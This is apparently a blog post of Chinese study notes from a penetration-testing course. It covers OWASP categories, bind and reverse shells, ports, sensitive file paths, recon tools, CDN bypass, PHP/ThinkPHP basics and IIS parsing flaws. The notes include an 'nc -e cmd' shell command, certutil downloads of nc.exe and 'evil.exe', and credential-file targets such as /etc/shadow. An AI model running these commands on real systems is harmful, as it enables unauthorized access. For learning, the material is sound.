小迪安全v2023笔记 基础入门

小迪安全v2023笔记 基础入门

棱角社区

我明确告诉你,现在这行找不到工作,搬砖都比学网安有前途。

1. 基础入门

POC:proof of concept,概念验证代码,用来证明漏洞存在。

EXP:exploit,利用漏洞进行攻击的动作。

Payload:有效载荷,指的是成功执行payload后,真正在目标系统执行的代码或指令。

Shellcode:调用攻击目标的shell的代码。

信息安全的三原则(CIA):机密性,完整性,可用性。

在这里插入图片描述OWASP 2024 top 10:

  1. 失效的访问控制
  2. 加密失败
  3. 注入
  4. 不安全的设计。例如未包含验证或清理用户输入的机制,以及用户身份验证和授权不足。其他内容包括会话管理不善(可能导致会话劫持)、错误处理和日志记录不善(可能为恶意行为者提供有关您的防御措施的宝贵线索)、数据保护不充分以及在核心功能中添加不必要的复杂或非必要功能(可能扩大攻击面)。
  5. 安全配置错误。由于安全设置定义、实施或维护不当而产生的。
  6. 易受攻击和过时的组件
  7. 身份识别和认证失败
  8. 软件和数据完整性故障
  9. 安全日志和监控失败
  10. 服务器端请求伪造(SSRF)

1. 正向shell与反向shell

防火墙出站宽松,入站严,入站一般要关防火墙。

b去连接a,对于a来说是入站,为反向shell。

a去连接b,对于a来说是出站,为正向shell。

a去连接b

b作为服务器监听

nc -lvvp 5566

a连接到服务器并完成正向shell

nc -e cmd 192.168.10.8 5566

有时候要让靶机执行命令,下载一个nc.exe。(目的文件名n.exe)

certutil.exe -urlcache -split -f http://www.xiaodi8.com:80/nc.exe n.exe

在这里插入图片描述

虚拟机连接主机,主机可以执行dir查看虚拟机目录。

2. web应用

开发语言

程序源码:应用类型分类,开源cms分类(比如wordpress),开发框架分类等。

中间件:iis,apache,nginx,tomcat,weblogic,jboos,glasshfish。

数据库:access,mysql,mssql,oracle,db2,sybase,redis,mongodb。

第三方软件:phpmyadmin,vs-ftpd,vnc,elk,openssh

常见漏洞:rce远程命令执行,xss跨站,csrf/ssrf/crlf,反序列化,越权,未授权访问,xxe/xml,sql。

3. 抓包,封包,协议,app,小程序,pc应用,web应用

安装雷电模拟器

app有web协议&小程序&pc抓包http/s数据-charles,fidder,burpsuite+proxifier

程序进程&网络接口&其他协议-wireshark,科来网络分析系统、TCPDump(linux)。

通讯类应用封包分析发送接收-wpe四件套封包(apk->ccproxy->wpe监控cc进程)

需要给浏览器安装工具证书

封包能精确到每个操作的数据包。

2. 信息收集

www.baidu.com

顶级域名(一级域名):com

二级域名:baidu

三级域名:www

1. 常见信息收集(重要)

icp备案查询

查网站搭建(cms识别):云悉指纹

常用工具:无影 TscanPlus,acunetix,fox工具箱

浏览器中间件识别插件:wappalyzer

测绘平台:fofa,奇安信hunter

企业查询:小蓝本,爱企查

漏洞提交:漏洞盒子

方便找软件:rolan,everything

1. 常见端口

常见的TCP和UDP服务默认端口:

TCP代表传输控制协议,面向连接。

UDP代表用户数据报协议,无连接。

服务端口号描述协议
FTP21文件传输协议TCP,(UDP不常见)
SSH22安全外壳协议TCP
Telnet23远程登录协议TCP
SMTP25(最初),587简单邮件传输协议TCP
DNS53域名系统,区域传输用TCP,查询用UDPTCP,UDP
DHCP67(客户端),68(服务器)动态主机配置协议UDP
HTTP80超文本传输协议TCP
POP3110邮局协议版本3TCP
Portmapper111端口映射器/RPCBIND(远程过程调用)TCP,UDP
NetBIOS名称服务137在局域网中提供计算机名称到IP地址的解析服务UDP
IMAP143互联网邮件访问协议(非加密)TCP,UDP
SNMP161(只读),162(陷阱/通知)简单网络管理协议UDP
HTTPS443超文本传输安全协议HTTP over SSL/TLSTCP
RIP520路由信息协议UDP
IMAPS993安全互联网邮件访问协议IMAP over SSL/TLSTCP
数据库
mysql 3306
mssql 1433
sql server 1433
oracle 1521
PostgreSQL 5432
redis 6379
mongoDB 27017
MemCached 11211

中间件 默认端口 管理台端口 默认账号密码
rabbitmq 5672 15672 guest/guest
activemq 61601 8161	
rocketmq 9876/10911/11011		
kafka	9092
Zookeeper 2181
Weblogic 7001
Tomcat 8080
Jboss 8081
nacos 8848
Elasticsearch 9200/9300


其它
WMI 用于执行命令和控制系统 135
LDAP 389
LDAPS 636
smb 445
MQTT 消息队列遥测传输协议 1883
RDP 远程桌面 3389
SVN 3690
VNC 一款远程控制工具 5900
WinRM windows远程管理 5985

msf的socks5代理 1080
msf的反弹shell常用端口 3333/4444/2333/1234
CobaltStrike常用端口 50050
cobaltstrike socks4a常用端口 34108
cobaltstrike的反弹shell常用端口 4444/1234/5555

在这里插入图片描述

操作系统

大小写:linux对大小写敏感

TTL值:ping 127.0.0.1

  1. Windows NT/2000:TTL值为128。
  2. Windows 95/98:TTL值为32。
  3. UNIX:TTL值为255。
  4. Linux:TTL值为64。
  5. Windows 7:TTL值也为64。
2. 敏感目录

linux

/etc/passwd
/etc/shadow #存储用户加密密码的文件
/etc/hosts #当前操作系统网卡ip
/etc/ssh #包含SSH服务的配置文件,可能包含安全敏感信息,如私钥、公钥等。


#/proc目录包含本机所有进程号,每个进程号一个目录
/proc/self/environ #当前进程的环境变量
/proc/self/cwd #获取当前进程运行目录的文件
/proc/self/cmdline #文件查看当前进程执行命令
/proc/net/arp #显示arp缓存表(寻找内网中其他主机)
/proc/net/fib_trie #显示当前网段路由信息
/proc/net/root
/proc/sys:#包含系统内核参数的虚拟文件系统
/proc/[pid]/fd #当程序打开一个文件, 会获得程序的文件描述符, 而此时如果文件被删除, 只会删除文件的目录项, 不会清空文件的内容, 原来的进程依然可以通过描述符对文件进行读取, 也就是说, 文件还存在内存里。

/var/log:存放系统日志文件
/var/tmp 和 /tmp 临时文件

/dev:包含设备文件的目录

/sys/class/net/eth0/address MAC存放地址

windows

C:\Windows\System32:包含系统核心文件
C:\Windows\System32\drivers 存放着Windows操作系统的核心驱动程序

java

  • /WEB-INF/web.xml Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/ 含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
  • /WEB-INF/lib/ 存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  • /WEB-INF/lib/ 存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  • /WEB-INF/database.properties:数据库配置文件

python

  • /proc/self/environ 获取环境变量,可能得到UWSGI_INI的路径

apache

  • /var/log/apahce2/access.log日志

nginx

  • 配置文件存放目录:/etc/nginx
  • 主配置文件:/etc/nginx/conf/nginx.conf 或 /etc/nginx/nginx.conf
  • 管理脚本:/usr/lib64/systemd/system/nginx.service
  • 模块:/usr/lisb64/nginx/modules
  • 应用程序:/usr/sbin/nginx
  • 程序默认存放位置:/usr/share/nginx/html
  • 日志默认存放位置:/var/log/nginx

smtp

  • /var/log/maillog
  • /var/log/mail.log
  • /var/adm/maillog
  • /var/adm/syslog/mail.log
3. 常见命令

自行学习以下指令

域名注册信息
whois 指令

域名信息探测
dig 指令
nslookup 指令
 DNS记录类型:A/AAAA/PTR/MX/ANY

路由信息探测
ping 指令 发送ICMP,接收ICMP echo
tracert 指令 使用IP生存时间(TTL)和ICMP错误信息来确认从一个主机到网络其他主机的路由

下载指令
curl -o /root/downloadtest/testcurl http://remote.url/curl.test
wget http://remote.url/wget.test -o /root/downloadtest/testwget
certutil -urlcache -split -f http://remote.url/evil.exe

netstat -ano  #windows下显示端口占用(Protocol,Local Address,Foreign Address,State,PID)
netstat -tuln #linux下查看端口占用

tasklist #windows下显示所有进程(Image Name,PID,Session Name,Session#,Mem Usage)
ps -aux #linux下显示所有进程(USER,PID,%CPU,%MEM,VSZ,RSS,TTY,STAT,START,TIME,COMMAND)

ipconfig #windows查看ip地址
ifconfig #linux查看ip地址

kali端口扫描
nmap 指令
	-sL:列出目标网络中的所有IP地址。
	-sn:进行ping扫描,检测在线设备。
	-p:指定扫描的端口范围,例如 -p 21-80 表示扫描21到80端口
	-sS:使用SYN扫描,隐蔽性较高。
	-sT:使用TCP连接扫描,易于被记录。
	-sU:扫描UDP端口。
	-p:指定端口范围,
	-O:尝试识别目标的操作系统。
	-A:启用全面的系统探测,包括操作系统、版本、服务和脚本扫描。
	-sV:确定开放端口上运行的服务的版本信息。

2. 文件泄露

git泄露:githack

python githack.py http://127.0.0.1:80/.git/

svn泄露:svnhack

git clone https://github.com/callmefeifei/SvnHack.git 克隆到当前目录

python svnhack.py -u http://127.0.0.1:80/.svn/entries --download

ds_store 文件泄露

漏洞利用工具:ds_store_exp

python ds_store_exp.py http://127.0.0.1:80/.DS_Store

php的composer.json泄露

/composer.json

3. 常见阻碍

站库分离:网站与数据库分离,数据库为远程数据库。

CDN加速:CDN加速通过在全球各地分布的服务器网络上存储网站、应用程序和媒体文件的副本来实现加速效果。当用户请求访问某个网站或应用程序时,CDN会根据用户的地理位置和网络条件,将内容从离用户最近的服务器上提供,从而减少了延迟和加载时间。

负载均衡:分摊到多个操作单元上进行执行,可能拿到备用机的权限。

WAF应用防火墙:WAF检查每一个传入的数据包的内容来检测SQL注入、跨站点脚本、会话劫持、篡改参数或URL等类型的攻击。

主机防护防火墙:比如服务器安全狗。

4. CDN绕过

CDN:内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输得更快、更稳定。

CDN配置:加速域名(需要启动加速的域名),加速区域,加速类型

传统访问:用户访问域名->解析服务器IP->访问目标主机

普通CDN:用户访问域名->CDN节点->真实服务器I->访问目标主机

带WAF的CDN:用户访问域名->CDN节点(WAF)->真实服务器IP->访问目标主机

nslookup baidu.com 多个ip

不同地方ping的ip不同

CDN绕过

服务器存在ssrf漏洞,会向你的网站发起请求,你的网站会记录访问的真实ip。

子域名没有cdn加速:比如只加速了www.xxx.com,test.xxx.com没加速。使用超级ping会发现子域名指向同一个ip。查sp910.com发现IP同一个。

接口查询国外访问:国外没cdn加速。

mx记录(邮件交换记录)或邮件没有cdn加速

主动邮件配合备案

常用网站

get-site-ip.com 不准确

备案查询

https://ping.chinaz.com/

常用工具

fuckcdn

通过本机的cmd获取本地访问该域名的ip地址并写入工具中,端口为80

CDN绑定

windows\system32\drivers\etc\hosts 域名指向修改文件

5. app抓包,封包,xp框架,反编译

外在抓包:比如burpsuite,fiddler等。

内在提取:源代码中提取。

appinfoscanner:对app里的url,ip地址,关键字进行采集

python3 app.py andriod -i ./test.apk

查壳工具:pkid

脱壳工具

andriod:xposed模块:dexdump,frida模块:frida-dexdump

ios:

​ frida模块:

​ windows使用:frida-ipa-dump

​ macOS使用:frida-ios-dump

6. 红队工具篇

搜索引擎

fofa .so

shodan search engine

zoomeye.org 知道创宇

https://quake.360.net/quake/#/index

自动化项目

http://github.com/knownsec/Kunyu

https://github.com/0x727/ShuiZe_0x727

https://github.com/Aabyss-Team/ARL?tab=readme-ov-file 灯塔arl

单点项目

子域名 oneforall

企查查 enscan

指纹识别 finger

3. php应用

默认之前使用过phpstudy编写搭建网站。

1. 文件操作

php超级全局变量$_FILES

$_FILES["表单值"]["name"] 获取上传文件原始名称
$_FILES["表单值"]["type"] 获取上传文件MIME类型
$_FILES["表单值"]["size"] 获取上传文件字节单位大小
$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名
$_FILES["表单值"]["error"] 获取上传时发生的错误代码

php目录访问

is_dir() 函数用于检查指定的路径是否是一个目录
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录
open_basedir:PHP.INI中的设置用来控制脚本程序访问目录
ini_set('open_basedir',__DIR__); 设置配置文件中,只能访问本目录

文件显示

<?php
// 获取路径参数,如果未提供则默认为当前目录
$path = $_GET['path'] ? $_GET['path']: './';

// 定义获取文件列表的函数
function getlist($path){
	$hd=opendir($path);
	$list=array();
	while(($file_name=readdir($hd))!==False){
		// 排除当前目录和父目录
        if ($file_name != '.' && $file_name != '..') {
			$file_path="$path/$file_name";// 构建文件完整路径
			$file_type=filetype($file_path);
			//$file_type为file或dir
			$list[$file_type][]=array(
				'file_name' =>$file_name,          // 文件名存储键值
                'file_path' => $file_path,          // 文件路径存储键值
                'file_size' => round(filesize($file_path) / 1024),  // 通过换算文件大小存储键值
                'file_time' => date('Y/m/d H:i:s',filemtime($file_path))// 获取文件时间并存储键值
			);

		}
	}
	// 关闭目录句柄
    closedir($hd);

    // 返回文件列表数组
    return $list;
}

// 调用函数获取文件列表
$list = getlist($path);
print_r($list) ;
?>

文件上传+保存

jkloli目录

​ index.html

​ index.php

​ test.php

index.html

<!DOCTYPE html>
<head>
    <meta charset="utf-8">
    <title>文件上传</title>
</head>
<body>
    <form method="POST" action="test.php" enctype="multipart/form-data">
        <label for="file">
        <input type="file" name='file' id='file' accept=".txt"><br>
        <input type="submit" value="上传文件">
    </form>
</body>

index.php

<?php
include_once('index.html');

test.php

php pathinfo函数

  • PATHINFO_DIRNAME: 目录路径

  • PATHINFO_BASENAME: 文件名,包含扩展名

  • PATHINFO_EXTENSION: 文件后缀名

  • PATHINFO_FILENAME: 不包含后缀的文件名

<?php
$uploadDir='./uploads';
if(!file_exists($uploadDir)){
    mkdir($uploadDir);//创建目录
}
if($_SERVER['REQUEST_METHOD']=='POST'&&isset($_FILES['file'])){
    $name=basename($_FILES['file']['name']);//basename去掉文件名前的路径
    $tmpname=$_FILES['file']['tmp_name'];
    $ext=pathinfo($name,PATHINFO_EXTENSION);//获取扩展名
    if(in_array($ext,['txt','md'])){
        if(move_uploaded_file($tmpname,$uploadDir."/$name")){
            echo"<script>alert('上传成功')</script>" ;
        }else{
            echo "上传失败";
        }
    }else{
        echo '文件类型不符合';
    }
}else{
    echo"没有上传";
}

文件下载与删除

通过修改http头实现

<?php
// 接受方法 判断是怎么操作
switch ($action){
    case 'del':
        unlink($file);
        // 如果操作为删除,则调用unlink函数删除指定文件
        break;
    case 'down':
        header("Content-Type: application/octet-stream");
        // 设置响应内容的类型为二进制流,告知浏览器这是一个文件下载
        header("Content-Disposition: attachment; filename=\"" .$file."\"");
        // 设置浏览器提示下载,并指定下载文件的名称(使用 $file 变量)
        header("Content-Length: " . filesize($file));
        // 设置响应内容的长度为文件大小,告知浏览器文件的实际大小
        readfile($file);
        // 读取并输出文件内容,将文件内容发送给浏览器
        break;
}
?>

2. js中的ajax请求

​ AJAX 技术通过在后台发送异步 HTTP 请求并接收响应,使得用户能够在不刷新整个页面的情况下获取更新后的数据。

js jquery库的ajax请求

请求->返回->读取返回的数据->js ajax代码进行解析->结果

php

请求->返回->返回结果

使用phpstudy搭建网站

在这里插入图片描述

test.php作为后端

<?php
if ($_SERVER['REQUEST_METHOD']=="POST") {
    
    if($_POST['name']=="张三"&&$_POST['age']=9000){
        echo json_encode(array("code"=>200,"infocode"=>1));
    }else{
        echo json_encode(array("code"=>200,"infocode"=>0));
    }
    
}

index.html作为前端

<!DOCTYPE html>
<head>
    <meta charset="utf-8">
    <title>jquery test</title>
    <script src="./jquery-3.7.1.js">//引入jquery</script>
</head>
<body>
    <script>
    $(document).ready(function() { // 确保DOM加载完成后再绑定事件
        $("button").on("click",function(){// 绑定button的点击事件
            $.ajax({
                type:"POST",
                url:"test.php",//localhost:80/jkloli/test.php
                dataType:"json",
                data:{
                    name:$('.name').val(),//使用类选择器获取输入框的值
                    age:$('.age').val()
                },
                success:function(res){
                    if(res.infocode==1){
                        alert("验证成功");
                    }else{
                        alert("验证失败");
                    }
                },
                error:function(jqXHR, textStatus, errorThrown){
                    // 构建错误信息字符串  
                    alert("失败: " + textStatus + ", " + errorThrown);
                }

            })
        });
    });
    </script>
    
    <label for="name">name:</label>
    <input type="text" id="name" class="name">
    <label for="age">age:</label>
    <input type="text" id="age" class="age">
    <button>提交</button>
</body>

在这里插入图片描述

失败弹窗

失败: parsererror, SyntaxError: Unexpected end of JSON input

3. thinkphp框架

1. 下载安装与基本使用

在WWW目录下下载thinkphp框架

git clone -b 5.1 https://gitee.com/liu21st/thinkphp.git thinkphp5.1
cd thinkphp5.1
git clone -b 5.1 https://gitee.com/liu21st/framework.git thinkphp

thinkphp5.1对应php5.6

在这里插入图片描述

下面我们来看看它的结构

在这里插入图片描述

下面来访问一下sorry函数

在这里插入图片描述在这里插入图片描述

它的url结构:http://serverName/index.php/模块/控制器/操作/[参数名/参数值...]

2. 新建控制器

在application/index/controller下新建cc.php

访问url:localhost/thinkphp5.1/public/index.php/index/cc/sayhi

<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
class cc extends Controller 
{
    public function sayhi()
    {
        return 'hi';
    }
}
3. 新建模块

将index/controller下的index.php复制到jkloli/controller目录里

修改命名空间为namespace app\jkloli\controller;

jkloli/controller目录下新建Jk.php

<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;

class Jk extends Controller 
{
    public function cllsse()
    {
        echo 'cllsse';
    }
}

thinkphp很不稳定,路径有时候可以访问有时候不能访问。不能访问时,把phpstudy关了,过一会再开试试。

在这里插入图片描述

4. 数据库操作

我用的是mysql8.0

首先在navicat中修改root用户的插件为mysql_native_password,然后重新输入密码。

然后设置mysql的默认字符集为老版本的utf8,具体操作如下:

  • 打开C:\Program Files\MySQL\MySQL Server 8.0\my.ini
  • [mysqld]
    character-set-server = utf8
    default_authentication_plugin= mysql_native_password
  • 打开计算机管理,找到mysql80,关闭重启。若重启失败,尝试netstat -ano |findstr :3306查看端口占用,taskkill /pid xxx -f。若端口没被占用则是my.ini的问题。

thinkphp开调试模式:/config/app.php里app_debug改为true。

找到/config/database.php,修改数据库配置信息。

修改Jk.php

<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;

class Jk extends Controller 
{
    public function cllsse()
    {
        echo 'cllsse';
    }
    public function ss(){
        if(input('?get.id')&&input('?get.username')){//检查参数是否存在
            $id=input('get.id');
            $username=input('get.username');
            $data = db('t_user')
                ->where("id",'=',$id)
                ->where("username",'=',$username)<>不等于,exp表达式
                ->select();
            print_r($data);
        }else{
            echo "请使用get请求:?id=xx&username=xx";
        }
        
    }
}

在这里插入图片描述

5. thinkphp查看漏洞

thinkphp看版本->看报错页面,看THINK_VERSION全局变量,看url地址构造

?m=Home&c=Index&a=func1

m模块,c控制器,a方法

然后通过版本找历史漏洞

https://github.com/mochazz/thinkphp-vuln?tab=readme-ov-file

4.asp,IIS(过时)

ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),数据,所以在注入猜解中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入。

IIS短文件名漏洞

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

利用工具:

https://github.com/irsdl/IIS-ShortName-Scanner

https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析

IIS 6 解析漏洞

  1. 该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
  2. 该版本默认会将*.asp/目录下的所有文件当成Asp解析。
  3. 如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

  1. 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
  2. 应用场景:配合文件上传获取Webshell

IIS写权限漏洞

IIS<=6.0 目录权限开启写入,开启WebDAV,设置为允许

参考利用:https://cloud.tencent.com/developer/article/2050105

http options请求获取服务器允许的 http 方法

put请求向服务器添加文件

move请求将文件改名

更多参考

补充一点基础。

常见dns服务器
8.8.8.8 谷歌dns
114.114.114.114 移动电信联通通用dns
223.5.5.5 阿里dns
180.76.76.76 百度dns

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cllsse

富✌您吉祥

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值